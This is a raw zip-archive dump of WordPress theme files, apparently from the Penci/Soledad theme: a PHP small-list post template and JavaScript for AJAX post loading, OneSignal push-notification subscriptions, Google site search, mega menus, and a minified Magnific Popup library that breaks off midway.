﻿﻿﻿PK     N\e      content-small-list.phpnu [        <?php
/**
 * Template loop for small list style
 */
if ( ! isset ( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
?>
<li class="list-post penci-item-listp penci-slistp<?php if ( ! has_post_thumbnail() ) : echo ' pc-nothumb'; endif; ?>">
    <article id="post-<?php the_ID(); ?>" class="item hentry">
		<?php if ( has_post_thumbnail() ) : ?>
            <div class="thumbnail">
				<?php
				do_action( 'penci_bookmark_post' );
				$thumbnail_load = penci_featured_images_size();
				$class_load     = '';
				if ( get_theme_mod( 'penci_grid_nocrop_list' ) ):
					$thumbnail_load = 'penci-masonry-thumb';
					$class_load     = ' penci-list-nocrop-thumb';
				endif;
				?>


                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumbnail_load ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php echo penci_class_lightbox_enable() . $class_load; ?>"<?php if ( get_theme_mod( 'penci_grid_nocrop_list' ) ): echo ' style="padding-bottom: ' . penci_get_featured_image_ratio( get_the_ID(), 'penci-masonry-thumb' ) . '%"'; endif; ?>
                   href="<?php penci_permalink_fix(); ?>"
                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
	                <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumbnail_load ), get_the_title() ); ?>
                </a>


				<?php if ( ! get_theme_mod( 'penci_grid_icon_format' ) ): ?>
					<?php if ( has_post_format( 'video' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'gallery' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'audio' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'link' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
					<?php endif; ?>
					<?php if ( has_post_format( 'quote' ) ) : ?>
                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
					<?php endif; ?>
				<?php endif; ?>
            </div>
		<?php endif; ?>

        <div class="content-list-right content-list-center<?php if ( ! has_post_thumbnail() ) : echo ' fullwidth'; endif; ?>">
            <div class="header-list-style">
				<?php if ( ! get_theme_mod( 'penci_grid_cat' ) ) : ?>
                    <span class="cat"><?php penci_category( '' ); ?></span>
				<?php endif; ?>

                <<?php echo $heading_title_tag;?> class="penci-entry-title entry-title grid-title <?php echo $heading_title_tag_class;?>"><a
                            href="<?php the_permalink(); ?>"><?php the_title(); ?></a></<?php echo $heading_title_tag;?>>
				<?php do_action( 'penci_after_post_title' ); ?>
				<?php penci_soledad_meta_schema(); ?>
				<?php $hide_readtime = get_theme_mod( 'penci_grid_readingtime' ); ?>
				<?php if ( ! get_theme_mod( 'penci_grid_date' ) || ! get_theme_mod( 'penci_grid_author' ) || get_theme_mod( 'penci_grid_countviews' ) || get_theme_mod( 'penci_grid_comment_other' ) || penci_isshow_reading_time( $hide_readtime ) ) : ?>
                    <div class="grid-post-box-meta">
						<?php do_action( 'penci_grid_meta' ); ?>
						<?php if ( ! get_theme_mod( 'penci_grid_author' ) ) : ?>
                            <span class="otherl-date-author author-italic author vcard"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <?php if ( function_exists( 'coauthors_posts_links' ) ) :
									penci_coauthors_posts_links();
								else: ?>
                                    <a class="author-url url fn n"
                                       href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a>
								<?php endif; ?></span>
						<?php endif; ?>
						<?php if ( ! get_theme_mod( 'penci_grid_date' ) ) : ?>
                            <span class="otherl-date"><?php penci_soledad_time_link(); ?></span>
						<?php endif; ?>
						<?php if ( get_theme_mod( 'penci_grid_comment_other' ) ) : ?>
                            <span class="otherl-comment"><a
                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
						<?php endif; ?>
						<?php
						if ( get_theme_mod( 'penci_grid_countviews' ) ) {
							echo '<span>';
							echo penci_get_post_views( get_the_ID() );
							echo ' ' . penci_get_setting( 'penci_trans_countviews' );
							echo '</span>';
						}
						?>
						<?php if ( penci_isshow_reading_time( $hide_readtime ) ): ?>
                            <span class="otherl-readtime"><?php penci_reading_time(); ?></span>
						<?php endif; ?>
						<?php do_action( 'penci_extra_meta' ); ?>
                    </div>
				<?php endif; ?>
            </div>
        </div>
    </article>
</li>
<?php
if ( isset( $infeed_ads ) && $infeed_ads ) {
	penci_get_markup_infeed_ad(
		array(
			'wrapper'    => 'li',
			'classes'    => 'list-post penci-item-listp penci-slistp penci-infeed-data',
			'fullwidth'  => $infeed_full,
			'order_ad'   => $infeed_num,
			'order_post' => $j,
			'code'       => $infeed_ads,
			'echo'       => true
		)
	);
}
?>
<?php $j ++; ?>
PK     N\~      js/archive-more-post.jsnu [        /* global ajax_var_more */
jQuery( function ( $ ) {
	'use strict'

	function buttonClick() {
		$( 'body' ).on( 'click', '.penci-ajax-arch .penci-ajax-more-button', function ( event ) {
			event.preventDefault()
			loadMorePostRun( $( this ) )
		} )
	}

	function infiniteScroll() {
		var $handle = $( '.penci-ajax-arch' ),
			$button_load = $handle.find( '.penci-ajax-more-button' )

		if ( $handle.hasClass( 'penci-infinite-scroll' ) ) {
			$( window ).on( 'scroll', function () {

				var hT = $button_load.offset().top,
					hH = $button_load.outerHeight(),
					wH = $( window ).height(),
					wS = $( this ).scrollTop()

				if ( (
					     wS > (
						        hT + hH - wH
					        )
				     ) && $button_load.length ) {
					loadMorePostRun( $button_load )
				}
			} ).trigger( 'scroll' )
		}
	}

	function loadMorePostRun( $button_load ) {
		if ( $button_load.hasClass( 'loading-posts' ) ) {
			return false
		}

		var layout = $button_load.data( 'layout' ),
			ppp = $button_load.data( 'number' ),
			mes = $button_load.data( 'mes' ),
			offset = $button_load.attr( 'data-offset' ),
			exclude = $button_load.data( 'exclude' ),
			from = $button_load.data( 'from' ),
			template = $button_load.data( 'template' ),
			archiveType = $button_load.data( 'archivetype' ),
			archiveValue = $button_load.data( 'archivevalue' ),
			archiveOrder = $button_load.data( 'order' )

		$button_load.addClass( 'loading-posts' )

		var dataAjax = 'order=' + archiveOrder + '&offset=' + offset + '&layout=' + layout + '&from=' + from +
		               '&template=' + template + '&ppp=' + ppp +
		               '&archivetype=' + archiveType + '&archivevalue=' + archiveValue +
		               '&action=penci_archive_more_post_ajax&nonce=' + pcajaxamore_scroll.nonce

		$.ajax( {
			type: 'POST',
			dataType: 'html',
			url: ajax_var_more.archive_more_url,
			data: dataAjax,
			success: function ( data ) {

				if ( !data ) {
					$button_load.find( '.ajax-more-text' ).text( mes )
					$button_load.find( 'i' ).remove()
					$button_load.removeClass( 'loading-posts' )
					setTimeout( function () {
						$button_load.parent().remove()
					}, 1200 )

					return false
				}

				var data_offset = parseInt( offset ) + ppp,
					$wrap_content = $button_load.parent().parent().find( '.penci-wrapper-data' ),
					$data

					try {
						// Try parsing the data
						$data = JSON.parse(data);
					} catch (e) {
						// If parsing fails, assume data is a jQuery selector or HTML string
						$data = $(data);
					}

				$button_load.attr( 'data-offset', data_offset )

				if ( layout === 'masonry' || layout === 'masonry-2' ) {
					

					$wrap_content.append( $data ).isotope( 'appended', $data ).imagesLoaded( function () {
						$wrap_content.isotope( 'layout' )
					} )

					$( '.container' ).fitVids()

					if ( $().easyPieChart ) {
						$( '.penci-piechart' ).each( function () {
							var $this = $( this )
							$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
								var chart_args = {
									barColor: $this.data( 'color' ),
									trackColor: $this.data( 'trackcolor' ),
									scaleColor: false,
									lineWidth: $this.data( 'thickness' ),
									size: $this.data( 'size' ),
									animate: 1000,
								}
								$this.easyPieChart( chart_args )
							} ) // bind inview
						} ) // each
					}

				} else {

					$wrap_content.append( $data )

					$( '.container' ).fitVids()

					$( 'body' ).trigger( 'penci_swiper_sliders' )

					if ( $().easyPieChart ) {
						$( '.penci-piechart' ).each( function () {
							var $this = $( this )
							$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
								var chart_args = {
									barColor: $this.data( 'color' ),
									trackColor: $this.data( 'trackcolor' ),
									scaleColor: false,
									lineWidth: $this.data( 'thickness' ),
									size: $this.data( 'size' ),
									animate: 1000,
								}
								$this.easyPieChart( chart_args )
							} ) // bind inview
						} ) // each
					}

					var $justified_gallery = $( '.penci-post-gallery-container.justified' )
					var $masonry_gallery = $( '.penci-post-gallery-container.masonry' )
					if ( $().justifiedGallery && $justified_gallery.length ) {
						$( '.penci-post-gallery-container.justified' ).each( function () {
							var $this = $( this )
							$this.justifiedGallery( {
								rowHeight: $this.data( 'height' ),
								lastRow: 'nojustify',
								margins: $this.data( 'margin' ),
								randomize: false,
							} )
						} ) // each .penci-post-gallery-container
					}

					if ( $().isotope && $masonry_gallery.length ) {

						$( '.penci-post-gallery-container.masonry .item-gallery-masonry' ).each( function () {
							var $this = $( this )
							if ( $this.attr( 'title' ) ) {
								var $title = $this.attr( 'title' )
								$this.children().append( '<div class="caption">' + $title + '</div>' )
							}
						} )
					}

					if ( $masonry_gallery.length ) {
						$masonry_gallery.each( function () {
							var $this = $( this )
							$this.imagesLoaded( function () {
								// initialize isotope
								$this.isotope( {
									itemSelector: '.item-gallery-masonry',
									transitionDuration: '.55s',
									layoutMode: 'masonry',
								} )

								$this.addClass( 'loaded' )

								$( '.penci-post-gallery-container.masonry .item-gallery-masonry' ).each( function () {
									var $this = $( this )
									$this.one( 'inview', function ( event, isInView, visiblePartX, visiblePartY ) {
										$this.addClass( 'animated' )
									} ) // inview
								} ) // each
							} )
						} )
					}

					if ( $().theiaStickySidebar ) {
						var top_margin = 90
						if ( $( 'body' ).hasClass( 'admin-bar' ) ) {
							top_margin = 122
						}
						$( '#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar' ).theiaStickySidebar( {
							// settings
							additionalMarginTop: top_margin,
						} )
					} // if sticky
				}
				$( 'body' ).trigger( 'penci_swiper_sliders' )
				$button_load.removeClass( 'loading-posts' )
				$( document ).trigger( 'penci_bf_check' )
			},
			error: function ( jqXHR, textStatus, errorThrown ) {
				console.log( jqXHR + ' :: ' + textStatus + ' :: ' + errorThrown )
			},

		} )
	}

	$( document ).ready( function () {
		buttonClick()
		infiniteScroll()
	} )
} )
PK     N\{b=  b=    js/notification.jsnu [        (function($) {
    'use strict';

    /**
     * Push Notification Handler for OneSignal integration
     * Handles subscription, unsubscription, and category-based notifications
     */
    const PushNotificationManager = {
        
        /**
         * Initialize the push notification system
         */
        init() {
            this.bindEvents();
            this.initializeExistingNotifications();
        },

        /**
         * Bind event listeners to notification elements
         */
        bindEvents() {
            $(document).on('click', '.penci_push_notification .button', (event) => {
                event.preventDefault();
                this.handleButtonClick($(event.currentTarget));
            });
        },

        /**
         * Initialize existing notification containers
         */
        initializeExistingNotifications() {
            $('.penci_push_notification').each((index, element) => {
                const $container = $(element);
                this.setupNotificationContainer($container);
            });
        },

        /**
         * Setup individual notification container
         * @param {jQuery} $container - The notification container element
         */
        setupNotificationContainer($container) {
            try {
                $container.addClass('loading');
                
                // Check if OneSignal is available
                if (!window.OneSignal) {
                    console.error('OneSignal is not loaded');
                    this.showError($container, 'Push notifications not available');
                    return;
                }

                // Use OneSignal.push to safely interact with the API
                OneSignal.push(() => {
                    console.log('OneSignal User API available:', {
                        User: typeof OneSignal.User,
                        addTag: OneSignal.User ? typeof OneSignal.User.addTag : 'undefined',
                        addTags: OneSignal.User ? typeof OneSignal.User.addTags : 'undefined',
                        removeTag: OneSignal.User ? typeof OneSignal.User.removeTag : 'undefined',
                        removeTags: OneSignal.User ? typeof OneSignal.User.removeTags : 'undefined',
                        getTags: OneSignal.User ? typeof OneSignal.User.getTags : 'undefined'
                    });

                    // Check if user is subscribed using the User API
                    if (OneSignal.User && typeof OneSignal.User.getTags === 'function') {
                        const tags = OneSignal.User.getTags();
                        console.log('User tags:', tags);
                        
                        // Check if user has any subscription (has tags or is subscribed)
                        if (Object.keys(tags || {}).length > 0) {
                            this.handleExistingSubscription($container, tags);
                        } else {
                            this.setButtonState($container, 'register');
                        }
                    } else {
                        console.error('OneSignal User API not available');
                        this.showError($container, 'OneSignal User API not ready');
                    }
                    
                    $container.removeClass('loading');
                });

            } catch (error) {
                console.error('Error setting up notification container:', error);
                this.showError($container, 'Error initializing notifications');
                $container.removeClass('loading');
            }
        },

        /**
         * Handle existing subscription state
         * @param {jQuery} $container - The notification container
         * @param {Object} tags - User's current tags
         */
        handleExistingSubscription($container, tags = null) {
            OneSignal.push(() => {
                // Get tags if not provided
                const userTags = tags || OneSignal.User.getTags();
                const notificationType = $container.find('.button').attr('data-type');

                if (Object.keys(userTags || {}).length > 0) {
                    if (notificationType === 'category') {
                        const requiredCategories = this.getRequiredCategories($container);
                        const hasAllCategories = requiredCategories.every(category => 
                            userTags && userTags.hasOwnProperty(category)
                        );

                        this.setButtonState($container, hasAllCategories ? 'unsubscribe' : 'subscribe');
                    } else {
                        // General notifications - check if 'all' tag exists
                        const hasGeneralSubscription = userTags && userTags.hasOwnProperty('all');
                        this.setButtonState($container, hasGeneralSubscription ? 'unsubscribe' : 'subscribe');
                    }
                } else {
                    // No tags found, show subscribe option
                    this.setButtonState($container, notificationType === 'category' ? 'subscribe' : 'subscribe');
                }
            });
        },

        /**
         * Handle button click events
         * @param {jQuery} $button - The clicked button
         */
        async handleButtonClick($button) {
            const $container = $button.closest('.penci_push_notification');
            const action = $button.attr('data-action');
            const type = $button.attr('data-type');

            if ($container.hasClass('processing')) {
                return; // Prevent multiple clicks
            }

            $container.addClass('processing');

            try {
                if (type === 'general') {
                    await this.handleGeneralNotification($container, action);
                } else if (type === 'category') {
                    await this.handleCategoryNotification($container, action);
                }
            } catch (error) {
                console.error('Error handling button click:', error);
                this.showError($container, 'Operation failed. Please try again.');
            } finally {
                setTimeout(() => {
                    $container.removeClass('processing');
                }, 600);
            }
        },

        /**
         * Handle general notification actions
         * @param {jQuery} $container - The notification container
         * @param {string} action - The action to perform
         */
        async handleGeneralNotification($container, action) {
            switch (action) {
                case 'register':
                    await this.registerForNotifications($container);
                    await this.subscribeToGeneral($container);
                    break;
                case 'subscribe':
                    await this.subscribeToGeneral($container);
                    break;
                case 'unsubscribe':
                    await this.unsubscribeFromAll($container);
                    break;
            }
        },

        /**
         * Handle category-specific notification actions
         * @param {jQuery} $container - The notification container
         * @param {string} action - The action to perform
         */
        async handleCategoryNotification($container, action) {
            const categories = this.getRequiredCategories($container);

            switch (action) {
                case 'register':
                    await this.registerForNotifications($container);
                    await this.subscribeToCategories($container, categories);
                    break;
                case 'subscribe':
                    await this.subscribeToCategories($container, categories);
                    break;
                case 'unsubscribe':
                    await this.unsubscribeFromCategories($container, categories);
                    break;
            }
        },

        /**
         * Register for push notifications
         * @param {jQuery} $container - The notification container
         */
        registerForNotifications($container) {
            return new Promise((resolve, reject) => {
                OneSignal.push(() => {
                    // Use the newer Slidedown or Native prompt
                    if (typeof OneSignal.showSlidedownPrompt === 'function') {
                        OneSignal.showSlidedownPrompt();
                    } else if (typeof OneSignal.showNativePrompt === 'function') {
                        OneSignal.showNativePrompt();
                    } else {
                        // Fallback to older method
                        //OneSignal.registerForPushNotifications();
                    }
                    
                    // Resolve after a short delay to allow registration to process
                    setTimeout(() => {
                        resolve();
                    }, 1000);
                });
            });
        },

        /**
         * Subscribe to general notifications
         * @param {jQuery} $container - The notification container
         */
        subscribeToGeneral($container) {
            return new Promise((resolve, reject) => {
                OneSignal.push(() => {
                    try {
                        // Use the new User API to add tag
                        OneSignal.User.addTag('all', 'all');
                        console.log('General subscription tag added');
                        this.setButtonState($container, 'unsubscribe');
                        resolve();
                    } catch (error) {
                        console.error('Error adding general tag:', error);
                        reject(error);
                    }
                });
            });
        },

        /**
         * Subscribe to category notifications
         * @param {jQuery} $container - The notification container
         * @param {Array} categories - Categories to subscribe to
         */
        subscribeToCategories($container, categories) {
            return new Promise((resolve, reject) => {
                OneSignal.push(() => {
                    try {
                        // Remove general subscription first
                        OneSignal.User.removeTag('all');
                        console.log('Removed general tag');
                        
                        // Add category tags using the new User API
                        const categoryTags = {};
                        categories.forEach(category => {
                            categoryTags[category] = category;
                        });
                        
                        OneSignal.User.addTags(categoryTags);
                        console.log('Category tags added:', categoryTags);
                        this.setButtonState($container, 'unsubscribe');
                        resolve();
                    } catch (error) {
                        console.error('Error adding category tags:', error);
                        reject(error);
                    }
                });
            });
        },

        /**
         * Unsubscribe from all notifications
         * @param {jQuery} $container - The notification container
         */
        unsubscribeFromAll($container) {
            return new Promise((resolve, reject) => {
                OneSignal.push(() => {
                    try {
                        const userTags = OneSignal.User.getTags();
                        if (userTags && Object.keys(userTags).length > 0) {
                            const tagKeys = Object.keys(userTags);
                            OneSignal.User.removeTags(tagKeys);
                            console.log('Removed all tags:', tagKeys);
                        }
                        this.setButtonState($container, 'subscribe');
                        resolve();
                    } catch (error) {
                        console.error('Error removing all tags:', error);
                        reject(error);
                    }
                });
            });
        },

        /**
         * Unsubscribe from specific categories
         * @param {jQuery} $container - The notification container
         * @param {Array} categories - Categories to unsubscribe from
         */
        unsubscribeFromCategories($container, categories) {
            return new Promise((resolve, reject) => {
                OneSignal.push(() => {
                    try {
                        OneSignal.User.removeTags(categories);
                        console.log('Removed category tags:', categories);
                        this.setButtonState($container, 'subscribe');
                        resolve();
                    } catch (error) {
                        console.error('Error removing category tags:', error);
                        reject(error);
                    }
                });
            });
        },

        /**
         * Get required categories from container
         * @param {jQuery} $container - The notification container
         * @returns {Array} Array of category names
         */
        getRequiredCategories($container) {
            const categoryString = $container.find('input[name="post-category"]').val();
            return categoryString ? categoryString.split(',').map(cat => cat.trim()) : [];
        },

        /**
         * Set button state and appearance
         * @param {jQuery} $container - The notification container
         * @param {string} state - The state to set (register, subscribe, unsubscribe)
         */
        setButtonState($container, state) {
            const $button = $container.find('.button');
            const processingText = $container.find('input[name="button-processing"]').val() || 'Processing...';
            const subscribeText = $container.find('input[name="button-subscribe"]').val() || 'Subscribe';
            const unsubscribeText = $container.find('input[name="button-unsubscribe"]').val() || 'Unsubscribe';

            // Show processing state first
            $button.html(`<i class="fa fa-refresh fa-spin"></i> ${processingText}`);

            setTimeout(() => {
                switch (state) {
                    case 'subscribe':
                    case 'register':
                        $button.attr('data-action', state);
                        $button.html(`<i class="fa fa-bell"></i> ${subscribeText}`);
                        break;
                    case 'unsubscribe':
                        $button.attr('data-action', 'unsubscribe');
                        $button.html(`<i class="fa fa-bell"></i> ${unsubscribeText}`);
                        break;
                }
            }, 500);
        },

        /**
         * Show error message
         * @param {jQuery} $container - The notification container
         * @param {string} message - Error message to display
         */
        showError($container, message) {
            const $button = $container.find('.button');
            $button.html(`<i class="fa fa-exclamation-triangle"></i> ${message}`);
            $button.addClass('error');
            
            setTimeout(() => {
                $button.removeClass('error');
                this.setButtonState($container, 'subscribe');
            }, 3000);
        }
    };

    // Initialize when document is ready
    $(document).ready(() => {
        PushNotificationManager.init();
    });

    // Export for global access if needed
    window.PENCI = window.PENCI || {};
    window.PENCI.PushNotificationManager = PushNotificationManager;

})(jQuery);PK     N\8/      js/google_cse_v2.jsnu [          (function() {
    var cx = scriptParams.google_search_engine_id;  
    //var cx = '007604623310582658229:j5pu9nxyssu';
    var gcse = document.createElement('script');
    gcse.type = 'text/javascript';
    gcse.async = true;
    gcse.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') +
        '//www.google.com/cse/cse.js?cx=' + cx;
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(gcse, s);
  })();PK     N\B      js/megamenus.jsnu [        jQuery(document).ready(function ($) {

    $(document).on('mouseenter', '.penci-block-mega', function () {
        var t = $(this),
            left = 0,
            right = 0,
            wappercontent = t.find('.penci-dropdown-menu'),
            itemoffset = t.offset(),
            blockcontainer = t.find('.penci-mega-content-container'),
            blockw = wappercontent.outerWidth(),
            vw = $(window).width(),
            cw = t.closest('.container').outerWidth(),
            rightoff = vw - itemoffset.left - (vw - cw) / 2,
            pl = parseFloat( t.closest('.penci_container').css('padding-left') ),
            pr = parseFloat( t.closest('.penci_container').css('padding-right') ),
            ps = pl || pr ? (pl + pr)/2 : 0,
            blockid = blockcontainer.data('blockid');


        t.css({'--pcctnspc' : ps + 'px'})

        if (t.hasClass('penci-megapos-center') && itemoffset.left > blockw / 2 && vw - itemoffset.left - t.outerWidth() > blockw / 2) {
            left = (blockw / 2 - t.outerWidth() + ps / 2) * -1;
            right = (blockw / 2 - t.outerWidth() / 2) * -1;
        } else if (rightoff < blockw) {
            left = (blockw - rightoff - ps) * -1;
            right = (vw - itemoffset.left - t.outerWidth() - (vw - cw)  / 2) * -1 - ps;
        }

        if ($('body').hasClass('rtl')) {
            wappercontent.css({'right': right + 'px'});
        } else {
            wappercontent.css({'left': left + 'px'});
        }

        wappercontent.css({'display': 'block'});

        if (sessionStorage.getItem("penci_megamenu_"+blockid) && blockcontainer.is(':empty') && t.hasClass('ajax-mega-menu') ) {
            // Restore the contents of the text field
            blockcontainer.html(sessionStorage.getItem("penci_megamenu_"+blockid));
            $(document).trigger('penci-mega-complete');
        } else if (blockcontainer.is(':empty') && t.hasClass('ajax-mega-menu')) {
            $.ajax({
                url: penci_megamenu_var.url,
                data: {
                    'action': 'penci_get_ajax_menu_mega_content',
                    'ids': blockid,
                    'nonce': penci_megamenu_var.nonce
                },
                dataType: 'json',
                method: 'POST',
                beforeSend: function (response) {
                    wappercontent.addClass('loading');
                },
                success: function (response) {
                    if (response.data.status === 'success') {
                        var dataInsert = response.data.data;
                        sessionStorage.setItem("penci_megamenu_"+blockid, dataInsert);
                        blockcontainer.html(dataInsert);
                        $(document).trigger('penci-mega-loaded');
                        wappercontent.removeClass('loading');
                    } else {
                        console.log('loading html dropdowns returns wrong data - ', response.data.message);
                    }
                },
                complete: function () {
                    $(document).trigger('penci-mega-complete');
                },
                error: function () {
                    console.log('loading html dropdowns ajax error');
                }
            });
        }
    });
});
PK     N\ۘR  R    js/magnific-popup.jsnu [        // Magnific Popup v0.9.9 by Dmitry Semenov
// http://bit.ly/magnific-popup#build=inline+image+ajax+iframe+gallery+retina+imagezoom+fastclick
(function(a){var b="Close",c="BeforeClose",d="AfterClose",e="BeforeAppend",f="MarkupParse",g="Open",h="Change",i="mfp",j="."+i,k="mfp-ready",l="mfp-removing",m="mfp-prevent-close",n,o=function(){},p=!!window.jQuery,q,r=a(window),s,t,u,v,w,x=function(a,b){n.ev.on(i+a+j,b)},y=function(b,c,d,e){var f=document.createElement("div");return f.className="mfp-"+b,d&&(f.innerHTML=d),e?c&&c.appendChild(f):(f=a(f),c&&f.appendTo(c)),f},z=function(b,c){n.ev.triggerHandler(i+b,c),n.st.callbacks&&(b=b.charAt(0).toLowerCase()+b.slice(1),n.st.callbacks[b]&&n.st.callbacks[b].apply(n,a.isArray(c)?c:[c]))},A=function(b){if(b!==w||!n.currTemplate.closeBtn)n.currTemplate.closeBtn=a(n.st.closeMarkup.replace("%title%",n.st.tClose)),w=b;return n.currTemplate.closeBtn},B=function(){a.magnificPopup.instance||(n=new o,n.init(),a.magnificPopup.instance=n)},C=function(){var a=document.createElement("p").style,b=["ms","O","Moz","Webkit"];if(a.transition!==undefined)return!0;while(b.length)if(b.pop()+"Transition"in a)return!0;return!1};o.prototype={constructor:o,init:function(){var b=navigator.appVersion;n.isIE7=b.indexOf("MSIE 7.")!==-1,n.isIE8=b.indexOf("MSIE 8.")!==-1,n.isLowIE=n.isIE7||n.isIE8,n.isAndroid=/android/gi.test(b),n.isIOS=/iphone|ipad|ipod/gi.test(b),n.supportsTransition=C(),n.probablyMobile=n.isAndroid||n.isIOS||/(Opera Mini)|Kindle|webOS|BlackBerry|(Opera Mobi)|(Windows Phone)|IEMobile/i.test(navigator.userAgent),t=a(document),n.popupsCache={}},open:function(b){s||(s=a(document.body));var c;if(b.isObj===!1){n.items=b.items.toArray(),n.index=0;var d=b.items,e;for(c=0;c<d.length;c++){e=d[c],e.parsed&&(e=e.el[0]);if(e===b.el[0]){n.index=c;break}}}else n.items=a.isArray(b.items)?b.items:[b.items],n.index=b.index||0;if(n.isOpen){n.updateItemHTML();return}n.types=[],v="",b.mainEl&&b.mainEl.length?n.ev=b.mainEl.eq(0):n.ev=t,b.key?(n.popupsCache[b.key]||(n.popupsCache[b.key]={}),n.currTemplate=n.popupsCache[b.key]):n.currTemplate={},n.st=a.extend(!0,{},a.magnificPopup.defaults,b),n.fixedContentPos=n.st.fixedContentPos==="auto"?!n.probablyMobile:n.st.fixedContentPos,n.st.modal&&(n.st.closeOnContentClick=!1,n.st.closeOnBgClick=!1,n.st.showCloseBtn=!1,n.st.enableEscapeKey=!1),n.bgOverlay||(n.bgOverlay=y("bg").on("click"+j,function(){n.close()}),n.wrap=y("wrap").attr("tabindex",-1).on("click"+j,function(a){n._checkIfClose(a.target)&&n.close()}),n.container=y("container",n.wrap)),n.contentContainer=y("content"),n.st.preloader&&(n.preloader=y("preloader",n.container,n.st.tLoading));var h=a.magnificPopup.modules;for(c=0;c<h.length;c++){var i=h[c];i=i.charAt(0).toUpperCase()+i.slice(1),n["init"+i].call(n)}z("BeforeOpen"),n.st.showCloseBtn&&(n.st.closeBtnInside?(x(f,function(a,b,c,d){c.close_replaceWith=A(d.type)}),v+=" mfp-close-btn-in"):n.wrap.append(A())),n.st.alignTop&&(v+=" mfp-align-top"),n.fixedContentPos?n.wrap.css({overflow:n.st.overflowY,overflowX:"hidden",overflowY:n.st.overflowY}):n.wrap.css({top:r.scrollTop(),position:"absolute"}),(n.st.fixedBgPos===!1||n.st.fixedBgPos==="auto"&&!n.fixedContentPos)&&n.bgOverlay.css({height:t.height(),position:"absolute"}),n.st.enableEscapeKey&&t.on("keyup"+j,function(a){a.keyCode===27&&n.close()}),r.on("resize"+j,function(){n.updateSize()}),n.st.closeOnContentClick||(v+=" mfp-auto-cursor"),v&&n.wrap.addClass(v);var l=n.wH=r.height(),m={};if(n.fixedContentPos&&n._hasScrollBar(l)){var o=n._getScrollbarSize();o&&(m.marginRight=o)}n.fixedContentPos&&(n.isIE7?a("body, html").css("overflow","hidden"):m.overflow="hidden");var p=n.st.mainClass;return n.isIE7&&(p+=" mfp-ie7"),p&&n._addClassToMFP(p),n.updateItemHTML(),z("BuildControls"),a("html").css(m),n.bgOverlay.add(n.wrap).prependTo(n.st.prependTo||s),n._lastFocusedEl=document.activeElement,setTimeout(function(){n.content?(n._addClassToMFP(k),n._setFocus()):n.bgOverlay.addClass(k),t.on("focusin"+j,n._onFocusIn)},16),n.isOpen=!0,n.updateSize(l),z(g),b},close:function(){if(!n.isOpen)return;z(c),n.isOpen=!1,n.st.removalDelay&&!n.isLowIE&&n.supportsTransition?(n._addClassToMFP(l),setTimeout(function(){n._close()},n.st.removalDelay)):n._close()},_close:function(){z(b);var c=l+" "+k+" ";n.bgOverlay.detach(),n.wrap.detach(),n.container.empty(),n.st.mainClass&&(c+=n.st.mainClass+" "),n._removeClassFromMFP(c);if(n.fixedContentPos){var e={marginRight:""};n.isIE7?a("body, html").css("overflow",""):e.overflow="",a("html").css(e)}t.off("keyup"+j+" focusin"+j),n.ev.off(j),n.wrap.attr("class","mfp-wrap").removeAttr("style"),n.bgOverlay.attr("class","mfp-bg"),n.container.attr("class","mfp-container"),n.st.showCloseBtn&&(!n.st.closeBtnInside||n.currTemplate[n.currItem.type]===!0)&&n.currTemplate.closeBtn&&n.currTemplate.closeBtn.detach(),n._lastFocusedEl&&a(n._lastFocusedEl).focus(),n.currItem=null,n.content=null,n.currTemplate=null,n.prevHeight=0,z(d)},updateSize:function(a){if(n.isIOS){var b=document.documentElement.clientWidth/window.innerWidth,c=window.innerHeight*b;n.wrap.css("height",c),n.wH=c}else n.wH=a||r.height();n.fixedContentPos||n.wrap.css("height",n.wH),z("Resize")},updateItemHTML:function(){var b=n.items[n.index];n.contentContainer.detach(),n.content&&n.content.detach(),b.parsed||(b=n.parseEl(n.index));var c=b.type;z("BeforeChange",[n.currItem?n.currItem.type:"",c]),n.currItem=b;if(!n.currTemplate[c]){var d=n.st[c]?n.st[c].markup:!1;z("FirstMarkupParse",d),d?n.currTemplate[c]=a(d):n.currTemplate[c]=!0}u&&u!==b.type&&n.container.removeClass("mfp-"+u+"-holder");var e=n["get"+c.charAt(0).toUpperCase()+c.slice(1)](b,n.currTemplate[c]);n.appendContent(e,c),b.preloaded=!0,z(h,b),u=b.type,n.container.prepend(n.contentContainer),z("AfterChange")},appendContent:function(a,b){n.content=a,a?n.st.showCloseBtn&&n.st.closeBtnInside&&n.currTemplate[b]===!0?n.content.find(".mfp-close").length||n.content.append(A()):n.content=a:n.content="",z(e),n.container.addClass("mfp-"+b+"-holder"),n.contentContainer.append(n.content)},parseEl:function(b){var c=n.items[b],d;c.tagName?c={el:a(c)}:(d=c.type,c={data:c,src:c.src});if(c.el){var e=n.types;for(var 